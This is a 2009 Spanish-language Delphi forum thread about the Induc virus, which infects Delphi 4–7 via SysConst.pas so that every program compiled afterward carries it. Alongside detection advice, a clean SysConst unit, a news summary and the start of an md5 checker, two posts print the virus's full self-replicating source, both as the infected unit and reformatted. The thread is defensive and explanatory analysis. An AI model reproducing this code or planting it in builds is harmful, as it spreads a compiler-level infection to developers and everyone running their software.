Ir al contenido


Foto

Virus que infecta a delphi 7


  • Por favor identifícate para responder
36 respuestas en este tema

#1 seoane

seoane

    Advanced Member

  • Administrador
  • 1.259 mensajes
  • LocationEspaña

Escrito 18 agosto 2009 - 03:04

Parece ser que hay un virus que infecta SysConst.pas de forma que todos los programas que se compilan a partir de ese momento quedan infectados.

Yo acabo de leerlo aquí­:
http://blog.eurekalog.com/?p=244
  • 0

#2 egostar

egostar

    missing my father, I love my mother.

  • Administrador
  • 14.448 mensajes
  • LocationMéxico

Escrito 18 agosto 2009 - 03:06

Ah caray, y eso no será en todas las versiones de Delphi :s

Salud OS
  • 0

#3 felipe

felipe

    Advanced Member

  • Administrador
  • 3.283 mensajes
  • LocationColombia

Escrito 18 agosto 2009 - 03:07

:o :o... tenaz  :s

¿Y no existen parches o vacunas?  *-)


Saludos!
  • 0

#4 egostar

egostar

    missing my father, I love my mother.

  • Administrador
  • 14.448 mensajes
  • LocationMéxico

Escrito 18 agosto 2009 - 03:11

Pues dice que se ha probado en D4 a D7

Salud OS
  • 0

#5 luk2009

luk2009

    Advanced Member

  • Moderadores
  • PipPipPip
  • 2.040 mensajes
  • LocationSanto Domingo

Escrito 18 agosto 2009 - 09:18

Gracias por la Informacion. Es importante estar pendientes de todos estos asuntos de virus, que son tan incomodos y que ya casi hemos aprendido a convivir con ellos. Tal parece que no hay nada que se salve de los virus.
  • 0

#6 Delphius

Delphius

    Advanced Member

  • Administrador
  • 6.295 mensajes
  • LocationArgentina

Escrito 18 agosto 2009 - 09:25

Pues si que es para asustarme, sobre todo ahorita que estoy con mi proyecto de grado... Dios no quiera ni permita... no me quiero imaginar si después se me infecta mi trabajo :o :( ¡me muero! : ¡Que podrí­a llegar a pensar el tribunal de mesa!... "Este chico nos está mandando virus", "nos está espiando" :s :(

Por ahora según lo que leo y entiendo el archivo SysConst.dcu en mi D6 no está infectado.

¡No quiero volverme paranoico!

Saludos,
  • 0

#7 enecumene

enecumene

    Webmaster

  • Administrador
  • 7.419 mensajes
  • LocationRepública Dominicana

Escrito 19 agosto 2009 - 07:02

Ah vaya, hice la búsqueda en mi delphi de mi oficina al menos no está infectado, espero que en el de mi casa no lo esté :s.

Saludos.
  • 0

#8 Wilson

Wilson

    Advanced Member

  • Moderadores
  • PipPipPip
  • 2.137 mensajes

Escrito 19 agosto 2009 - 10:17

Amigos, quienes hayan bajado recientemente demos de algunos componentes, tienen la posibilidad de estar infectados, realizar la búsqueda con el buscador de Windows de archivos que contengan  la cadena:


delphi
  1.  
  2. h:=CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);


podrí­a ser incompleta, puesto que este no busca en archivos  .exe, a continuación agrego este
Componente TFindFileque es libre, que busca en toda clase de archivos. Hay que instalarlo y realizar la búsqueda. En caso de encontrar algo
hay que reemplazar la unit SysConst.pas renombrando el  backUp hecho por el virus SysConst.bak, o copiandola desde aqui, y si es del caso reconstruir los proyectos afectados.


delphi
  1. { *********************************************************************** } 
  2. {                                                                        } 
  3. { Delphi / Kylix Cross-Platform Runtime Library                          } 
  4. {                                                                        } 
  5. { Copyright © 1995, 2001 Borland Software Corporation                  } 
  6. {                                                                        } 
  7. { *********************************************************************** } 
  8.  
  9. unit SysConst;                                     
  10.  
  11. interface 
  12.  
  13. resourcestring 
  14.   SUnknown = '<unknown>'; 
  15.   SInvalidInteger = '''%s'' is not a valid integer value'; 
  16.   SInvalidFloat = '''%s'' is not a valid floating point value'; 
  17.   SInvalidCurrency = '''%s'' is not a valid currency value'; 
  18.   SInvalidDate = '''%s'' is not a valid date'; 
  19.   SInvalidTime = '''%s'' is not a valid time'; 
  20.   SInvalidDateTime = '''%s'' is not a valid date and time'; 
  21.   SInvalidDateTimeFloat = '''%g'' is not a valid date and time'; 
  22.   SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp'; 
  23.   SInvalidGUID = '''%s'' is not a valid GUID value'; 
  24.   SInvalidBoolean = '''%s'' is not a valid boolean value'; 
  25.   STimeEncodeError = 'Invalid argument to time encode'; 
  26.   SDateEncodeError = 'Invalid argument to date encode'; 
  27.   SOutOfMemory = 'Out of memory'; 
  28.   SInOutError = 'I/O error %d'; 
  29.   SFileNotFound = 'File not found'; 
  30.   SInvalidFilename = 'Invalid filename'; 
  31.   STooManyOpenFiles = 'Too many open files'; 
  32.   SAccessDenied = 'File access denied'; 
  33.   SEndOfFile = 'Read beyond end of file'; 
  34.   SDiskFull = 'Disk full'; 
  35.   SInvalidInput = 'Invalid numeric input'; 
  36.   SDivByZero = 'Division by zero'; 
  37.   SRangeError = 'Range check error'; 
  38.   SIntOverflow = 'Integer overflow'; 
  39.   SInvalidOp = 'Invalid floating point operation'; 
  40.   SZeroDivide = 'Floating point division by zero'; 
  41.   SOverflow = 'Floating point overflow'; 
  42.   SUnderflow = 'Floating point underflow'; 
  43.   SInvalidPointer = 'Invalid pointer operation'; 
  44.   SInvalidCast = 'Invalid class typecast'; 
  45. {$IFDEF MSWINDOWS} 
  46.   SAccessViolationArg3 = 'Access violation at address %p. %s of address %p'; 
  47. {$ENDIF} 
  48. {$IFDEF LINUX} 
  49.   SAccessViolationArg2 = 'Access violation at address %p, accessing address %p'; 
  50. {$ENDIF} 
  51.   SAccessViolationNoArg = 'Access violation'; 
  52.   SStackOverflow = 'Stack overflow'; 
  53.   SControlC = 'Control-C hit'; 
  54.   SQuit = 'Quit key hit'; 
  55.   SPrivilege = 'Privileged instruction'; 
  56.   SOperationAborted = 'Operation aborted'; 
  57.   SException = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak; 
  58.   SExceptTitle = 'Application Error'; 
  59. {$IFDEF LINUX} 
  60.   SSigactionFailed = 'sigaction call failed'; 
  61. {$ENDIF} 
  62.   SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument'; 
  63.   SArgumentMissing = 'No argument for format ''%s'''; 
  64.   SDispatchError = 'Variant method calls not supported'; 
  65.   SReadAccess = 'Read'; 
  66.   SWriteAccess = 'Write'; 
  67.   SResultTooLong = 'Format result longer than 4096 characters'; 
  68.   SFormatTooLong = 'Format string too long'; 
  69.  
  70.   SVarArrayCreate = 'Error creating variant or safe array'; 
  71.   SVarArrayBounds = 'Variant or safe array index out of bounds'; 
  72.   SVarArrayLocked = 'Variant or safe array is locked'; 
  73.   SVarArrayWithHResult = 'Unexpected variant or safe array error: %s%.8x'; 
  74.  
  75.   SInvalidVarCast = 'Invalid variant type conversion'; 
  76.   SInvalidVarOp = 'Invalid variant operation'; 
  77.   SInvalidVarNullOp = 'Invalid NULL variant operation'; 
  78.   SInvalidVarOpWithHResultWithPrefix = 'Invalid variant operation (%s%.8x)'#10'%s'; 
  79.   SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)'; 
  80.   SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)'; 
  81.   SVarTypeOutOfRangeWithPrefix = 'Custom variant type (%s%.4x) is out of range'; 
  82.   SVarTypeAlreadyUsedWithPrefix = 'Custom variant type (%s%.4x) already used by %s'; 
  83.   SVarTypeNotUsableWithPrefix = 'Custom variant type (%s%.4x) is not usable'; 
  84.   SVarTypeTooManyCustom = 'Too many custom variant types have been registered'; 
  85.  
  86.   // the following are not used anymore 
  87.   SVarNotArray = 'Variant is not an array' deprecated; // not used, use SVarInvalid instead 
  88.   SVarTypeUnknown = 'Unknown custom variant type ($%.4x)' deprecated; // not used anymore 
  89.   SVarTypeOutOfRange = 'Custom variant type ($%.4x) is out of range' deprecated; 
  90.   SVarTypeAlreadyUsed = 'Custom variant type ($%.4x) already used by %s' deprecated; 
  91.   SVarTypeNotUsable = 'Custom variant type ($%.4x) is not usable' deprecated; 
  92.   SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)' deprecated; 
  93.  
  94.   SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)'; 
  95.   SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)'; 
  96.   SVarOverflow = 'Variant overflow'; 
  97.   SVarInvalid = 'Invalid argument'; 
  98.   SVarBadType = 'Invalid variant type'; 
  99.   SVarNotImplemented = 'Operation not supported'; 
  100.   SVarOutOfMemory = 'Variant operation ran out memory'; 
  101.   SVarUnexpected = 'Unexpected variant error'; 
  102.  
  103.   SVarDataClearRecursing = 'Recursion while doing a VarDataClear'; 
  104.   SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy'; 
  105.   SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd'; 
  106.   SVarDataInitRecursing = 'Recursion while doing a VarDataInit'; 
  107.   SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo'; 
  108.   SVarIsEmpty = 'Variant is empty'; 
  109.   sUnknownFromType = 'Cannot convert from the specified type'; 
  110.   sUnknownToType = 'Cannot convert to the specified type'; 
  111.   SExternalException = 'External exception %x'; 
  112.   SAssertionFailed = 'Assertion failed'; 
  113.   SIntfCastError = 'Interface not supported'; 
  114.   SSafecallException = 'Exception in safecall method'; 
  115.   SAssertError = '%s (%s, line %d)'; 
  116.   SAbstractError = 'Abstract Error'; 
  117.   SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p'; 
  118.   SCannotReadPackageInfo = 'Cannot access package information for package ''%s'''; 
  119.   sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s'; 
  120.   SInvalidPackageFile = 'Invalid package file ''%s'''; 
  121.   SInvalidPackageHandle = 'Invalid package handle'; 
  122.   SDuplicatePackageUnit = 'Cannot load package ''%s.''  It contains unit ''%s,''' + 
  123.     'which is also contained in package ''%s'''; 
  124.   SOSError = 'System Error.  Code: %d.'+sLineBreak+'%s'; 
  125.   SUnkOSError = 'A call to an OS function failed'; 
  126. {$IFDEF MSWINDOWS} 
  127.   SWin32Error = 'Win32 Error.  Code: %d.'#10'%s' deprecated; // use SOSError 
  128.   SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError 
  129. {$ENDIF} 
  130.   SNL = 'Application is not licensed to use this feature'; 
  131.  
  132.   SShortMonthNameJan = 'Jan'; 
  133.   SShortMonthNameFeb = 'Feb'; 
  134.   SShortMonthNameMar = 'Mar'; 
  135.   SShortMonthNameApr = 'Apr'; 
  136.   SShortMonthNameMay = 'May'; 
  137.   SShortMonthNameJun = 'Jun'; 
  138.   SShortMonthNameJul = 'Jul'; 
  139.   SShortMonthNameAug = 'Aug'; 
  140.   SShortMonthNameSep = 'Sep'; 
  141.   SShortMonthNameOct = 'Oct'; 
  142.   SShortMonthNameNov = 'Nov'; 
  143.   SShortMonthNameDec = 'Dec'; 
  144.  
  145.   SLongMonthNameJan = 'January'; 
  146.   SLongMonthNameFeb = 'February'; 
  147.   SLongMonthNameMar = 'March'; 
  148.   SLongMonthNameApr = 'April'; 
  149.   SLongMonthNameMay = 'May'; 
  150.   SLongMonthNameJun = 'June'; 
  151.   SLongMonthNameJul = 'July'; 
  152.   SLongMonthNameAug = 'August'; 
  153.   SLongMonthNameSep = 'September'; 
  154.   SLongMonthNameOct = 'October'; 
  155.   SLongMonthNameNov = 'November'; 
  156.   SLongMonthNameDec = 'December'; 
  157.  
  158.   SShortDayNameSun = 'Sun'; 
  159.   SShortDayNameMon = 'Mon'; 
  160.   SShortDayNameTue = 'Tue'; 
  161.   SShortDayNameWed = 'Wed'; 
  162.   SShortDayNameThu = 'Thu'; 
  163.   SShortDayNameFri = 'Fri'; 
  164.   SShortDayNameSat = 'Sat'; 
  165.  
  166.   SLongDayNameSun = 'Sunday'; 
  167.   SLongDayNameMon = 'Monday'; 
  168.   SLongDayNameTue = 'Tuesday'; 
  169.   SLongDayNameWed = 'Wednesday'; 
  170.   SLongDayNameThu = 'Thursday'; 
  171.   SLongDayNameFri = 'Friday'; 
  172.   SLongDayNameSat = 'Saturday'; 
  173.  
  174. {$IFDEF LINUX} 
  175.   SEraEntries = ''; 
  176. {$ENDIF} 
  177.  
  178.   SCannotCreateDir = 'Unable to create directory'; 
  179.   SCodesetConversionError = 'Codeset conversion failure'; 
  180.  
  181. implementation 
  182.  
  183. end. 





  • 0

#9 Wilson

Wilson

    Advanced Member

  • Moderadores
  • PipPipPip
  • 2.137 mensajes

Escrito 19 agosto 2009 - 10:21

A continuación muestro  la unit SysConst.Pas infectada.


delphi
  1. SLongMonthNameJan = 'January'; 
  2.   SLongMonthNameFeb = 'February'; 
  3.   SLongMonthNameMar = 'March'; 
  4.   SLongMonthNameApr = 'April'; 
  5.   SLongMonthNameMay = 'May'; 
  6.   SLongMonthNameJun = 'June'; 
  7.   SLongMonthNameJul = 'July'; 
  8.   SLongMonthNameAug = 'August'; 
  9.   SLongMonthNameSep = 'September'; 
  10.   SLongMonthNameOct = 'October'; 
  11.   SLongMonthNameNov = 'November'; 
  12.   SLongMonthNameDec = 'December'; 
  13.  
  14.   SShortDayNameSun = 'Sun'; 
  15.   SShortDayNameMon = 'Mon'; 
  16.   SShortDayNameTue = 'Tue'; 
  17.   SShortDayNameWed = 'Wed'; 
  18.   SShortDayNameThu = 'Thu'; 
  19.   SShortDayNameFri = 'Fri'; 
  20.   SShortDayNameSat = 'Sat'; 
  21.  
  22.   SLongDayNameSun = 'Sunday'; 
  23.   SLongDayNameMon = 'Monday'; 
  24.   SLongDayNameTue = 'Tuesday'; 
  25.   SLongDayNameWed = 'Wednesday'; 
  26.   SLongDayNameThu = 'Thursday'; 
  27.   SLongDayNameFri = 'Friday'; 
  28.   SLongDayNameSat = 'Saturday'; 
  29.  
  30. {$IFDEF LINUX} 
  31.   SEraEntries = ''; 
  32. {$ENDIF} 
  33.  
  34.   SCannotCreateDir = 'Unable to create directory'; 
  35.   SCodesetConversionError = 'Codeset conversion failure'; 
  36.  
  37. implementation 
  38. uses windows; var sc:array[1..24] of string=( 
  39. 'uses windows; var sc:array[1..24] of string=(', 
  40. 'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]', 
  41. '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;', 
  42. 'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin', 
  43. 'ج:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle', 
  44. '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile', 
  45. '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while', 
  46. 'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0', 
  47. 'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2', 
  48. ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,', 
  49. 'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$', 
  50. ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.', 
  51. 'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,', 
  52. 'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),', 
  53. 'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,', 
  54. '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=', 
  55. 'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,', 
  56. '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of', 
  57. 'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(', 
  58. 'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then', 
  59. 'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=', 
  60. '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+', 
  61. '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;', 
  62. 'begin st; end.'); 
  63. function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i] 
  64. =#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile; 
  65. h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin 
  66. &#1580;:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle 
  67. (h);exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile 
  68. (f2,d+'pas');rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while 
  69. not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos('implementation',s)<>0 
  70. then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2 
  71. ,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do writeln(f2, 
  72. x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak' 
  73. )); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f. 
  74. wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0, 
  75. f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+'bak'), 
  76. pchar(d+'dcu'));DeleteFile(pchar(d+'pas'));h:=CreateFile(pchar(d+'bak'),0,0,0,3, 
  77. 0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:= 
  78. CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h, 
  79. @t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of 
  80. char;  i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx( 
  81. HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then 
  82. begin i:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:='';i:= 
  83. 1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+'sourcertlsysSysConst'+ 
  84. '.pas',r+'libsysconst.','"'+r+'\bin\dcc32.exe" );end;RegCloseKey(k);end; end; 
  85. begin st; end. 
  86.  
  87.          


  • 0

#10 Wilson

Wilson

    Advanced Member

  • Moderadores
  • PipPipPip
  • 2.137 mensajes

Escrito 19 agosto 2009 - 10:23

Algoritmo del virus


delphi
  1. var sc: array[1..24] of string = ( 
  2.     'uses windows; var sc:array[1..24] of string=(', 
  3.     'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]', 
  4.     '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;', 
  5.     'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin', 
  6.     '?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle', 
  7.     '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile', 
  8.     '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while', 
  9.     'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0', 
  10.     'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2', 
  11.     ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,', 
  12.     'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$', 
  13.     ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.', 
  14.     'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,', 
  15.     'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),', 
  16.     'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,', 
  17.     '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=', 
  18.     'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,', 
  19.     '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of', 
  20.     'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(', 
  21.     'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then', 
  22.     'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=', 
  23.     '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+', 
  24.     '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;', 
  25.     'begin st; end.'); 
  26.  
  27. function x(s: string): string; 
  28. var i: integer; 
  29. begin 
  30.   for i := 1 to length(s) do if s[i] = #36 then 
  31.       s[i] := #39; 
  32.   result := s; 
  33. end; 
  34.  
  35. procedure re(s, d, e: string); 
  36. var f1, f2: textfile; 
  37.   h: cardinal; 
  38.   f: STARTUPINFO; 
  39.   p: PROCESS_INFORMATION; 
  40.   b: boolean; 
  41.   t1, t2, t3: FILETIME; 
  42. begin 
  43.   h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0); 
  44.   if h <> DWORD(-1) then 
  45.   begin CloseHandle(h); 
  46.     exit; 
  47.   end; 
  48. {'I-} 
  49.   assignfile(f1, s); 
  50.   reset(f1); 
  51.   if ioresult <> 0 then 
  52.     exit; 
  53.   assignfile(f2, d + 'pas'); 
  54.   rewrite(f2); 
  55.   if ioresult <> 0 then 
  56.   begin closefile(f1); 
  57.     exit; 
  58.   end; 
  59.   while not eof(f1) do 
  60.   begin readln(f1, s); 
  61.     writeln(f2, s); 
  62.     if pos('implementation', s) <> 0 then 
  63.       break; 
  64.   end; 
  65.   for h := 1 to 1 do 
  66.     writeln(f2, sc[h]); 
  67.   for h := 1 to 23 do writeln(f2, '''' + sc[h], ''','); 
  68.   writeln(f2, '''' + sc[24] + ''');'); 
  69.   for h := 2 to 24 do writeln(f2, x(sc[h])); 
  70.   closefile(f1); 
  71.   closefile(f2); 
  72. {'I+} 
  73.   MoveFile(pchar(d + 'dcu'), pchar(d + 'bak')); 
  74.   fillchar(f, sizeof(f), 0); 
  75.   f.cb := sizeof(f); 
  76.   f.dwFlags := STARTF_USESHOWWINDOW; 
  77.   f.wShowWindow := SW_HIDE; 
  78.   b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p); 
  79.   if b then 
  80.     WaitForSingleObject(p.hProcess, INFINITE); 
  81.   MoveFile(pchar(d + 'bak'), pchar(d + 'dcu')); 
  82.   DeleteFile(pchar(d + 'pas')); 
  83.   h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0); 
  84.   if h = DWORD(-1) then 
  85.     exit; 
  86.   GetFileTime(h, @t1, @t2, @t3); 
  87.   CloseHandle(h); 
  88.   h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0); 
  89.   if h = DWORD(-1) then 
  90.     exit; 
  91.   SetFileTime(h, @t1, @t2, @t3); 
  92.   CloseHandle(h); 
  93. end; 
  94.  
  95. procedure st; 
  96. var k: HKEY; c: array[1..255] of char; 
  97.   i: cardinal; 
  98.   r: string; 
  99.   v: char; 
  100. begin 
  101.   for v := '4' to '7' do 
  102.     if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then 
  103.     begin i := 255; 
  104.       if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then 
  105.       begin r := ''; 
  106.         i := 1; 
  107.         while c[i] <> #0 do 
  108.         begin r := r + c[i]; 
  109.           inc(i); 
  110.         end; 
  111.         re(r + 'sourcertlsysSysConst' + '.pas', r + 'libsysconst.', '"' + r + '\bin\dcc32.exe" ); 
  112.       end; 
  113.       RegCloseKey(k); 
  114.     end; 
  115. end; 
  116.  
  117.    



Ojo con reproducirlo  jajaja.

Saludos
  • 0

#11 enecumene

enecumene

    Webmaster

  • Administrador
  • 7.419 mensajes
  • LocationRepública Dominicana

Escrito 19 agosto 2009 - 10:34

Ojo con reproducirlo  jajaja.

Saludos


jajaja nii loco amigo :p, ojalá en mi pc no tenga ese problema :s
  • 0

#12 egostar

egostar

    missing my father, I love my mother.

  • Administrador
  • 14.448 mensajes
  • LocationMéxico

Escrito 19 agosto 2009 - 10:53

Ah vaya, que buen trabajo de investigación amigo Wilson (y).

Salud OS
  • 0

#13 eduarcol

eduarcol

    Advanced Member

  • Administrador
  • 4.483 mensajes
  • LocationVenezuela

Escrito 19 agosto 2009 - 10:57

y que se supone hace el virus??
  • 0

#14 felipe

felipe

    Advanced Member

  • Administrador
  • 3.283 mensajes
  • LocationColombia

Escrito 19 agosto 2009 - 01:39

y que se supone hace el virus??


Me ganaste la pregunta :D, ¿verdad que hace el bicho este?


Saludos!
  • 0

#15 Wilson

Wilson

    Advanced Member

  • Moderadores
  • PipPipPip
  • 2.137 mensajes

Escrito 19 agosto 2009 - 01:48

Aqui un resumen.

Virus infects development environment
Anti-virus software vendor Kaspersky has discovered a new type of virus which infects and compromises systems running the Delphi development environment. After infection, all Delphi programs compiled using the infected Delphi environment are also infected. Anti-virus laboratory AV-Test has already spotted the first examples in the wild.

The virus affects Delphi versions 4.0, 5.0, 6.0 and 7.0. After making a backup which it names SysConst.bak, it overwrites the Delphi file SysConst.dcu with a self-compiled version. Since the infected file is loaded whenever Delphi programs are compiled, all programs generated after this point will be infected.

The virus does not carry a malicious payload, so does not do any damage to systems which are not running Delphi. It does not therefore represent an actual hazard at present. The programs Any TV Free 2.41 (anytv241_setup.exe) and Tidy Favorites 4.1 (TidyFavorites_Setup_4_1_free.exe), which are included on some current magazine CDs and are also among the top 100 downloads on some download portals, are infected with the virus. Kaspersky, F-Secure and Ikarus anti-virus products report the malware as "Virus.Win32.Induc.a". McAfee reports infected files as "W32/Induc" or "Generic!Artemis". Other anti-virus vendors have been informed of the virus and are working on updates.

The idea of concealing malicious code in a compiler is by no means new. In his very readable acceptance speech for the 1984 Turing Prize, Reflections on Trusting Trust, Unix grandee Ken Thompson discussed the possibility of using the C compiler to inject a back door into the login process. However, it has taken 25 years for reality to catch up with the theory.



  • 0

#16 Delphius

Delphius

    Advanced Member

  • Administrador
  • 6.295 mensajes
  • LocationArgentina

Escrito 19 agosto 2009 - 01:49

Pues muy de pasada... y sin prestarle demasiada atención.... al parecer lo que hace es copiar ese script escrito dentro del array sc (que no deja de ser el mismo código) en la sección implementation de cada pas... se va propagando por diferentes pas y copiandose a si mismo...

tal parece que abre cierto registro de windows, pero que altera dentro no se... más allá de eso no logro darme cuenta de que hace.

Saludos,
  • 0

#17 JoAnCa

JoAnCa

    Advanced Member

  • Miembro Platino
  • PipPipPip
  • 775 mensajes
  • LocationPinar del Río, Cuba

Escrito 19 agosto 2009 - 02:22

Y será realmente un Virus, o será un Hoax

Y si es un virus que inyecta el codigo en la unit, que pasa con los antivirus?
Si Karspesky dice de su existencia, entonces es que lo detecta y elimina, y por tanto con KAV no hay que preocuparse, y tampoco con otro antivirus que detecte al Virus.Win32.Induc.a

En realidad ni se sabe lo que hace, y si nuestros programas llevan ese codigo, entonces en que momento se ejecutará?

  • 0

#18 seoane

seoane

    Advanced Member

  • Administrador
  • 1.259 mensajes
  • LocationEspaña

Escrito 19 agosto 2009 - 03:26

Pues el código deja bien claro lo que hace, busca en el registro de windows el directorio de instalación de delphi y modifica el archivo SysConst para insertarse a si mismo. Luego lo compila para crear el dcu y modifica la fecha de modificación para que llame menos la atención.

Luego solo tiene que esperar, como SysCont esta incluida por defecto en todos los proyectos de Delphi todos los programas que se compilen a partir de ese momento tendrán el código malicioso dentro, y en cuanto uno de esos programas infectados se ejecute en otro equipo con delphi el proceso se repite.

La desinfección de un ejecutable infectado es difí­cil porque no es un añadido como en otros virus, sino que el código malicioso se a añadido antes de compilar el ejecutable y así­ queda completamente integrado con el programa.
  • 0

#19 seoane

seoane

    Advanced Member

  • Administrador
  • 1.259 mensajes
  • LocationEspaña

Escrito 20 agosto 2009 - 09:00

Propongo una pequeña prueba.

La siguiente aplicación de consola busca todos los .pas y .dcu de la instalación de delphi y calcula su md5, guardando el resultado en una archivo de texto (CheckMd5.txt).

La aplicación es esta: (abajo adjunto un zip con todo el código):


delphi
  1. program CheckMd5;
  2.  
  3. {$APPTYPE CONSOLE}
  4.  
  5. uses
  6.   Windows,
  7.   SysUtils,
  8.   Classes,
  9.   Registry,
  10.   Hashes in 'Hashes.pas';
  11.  
  12. var
  13.   Signatures: TStringList;
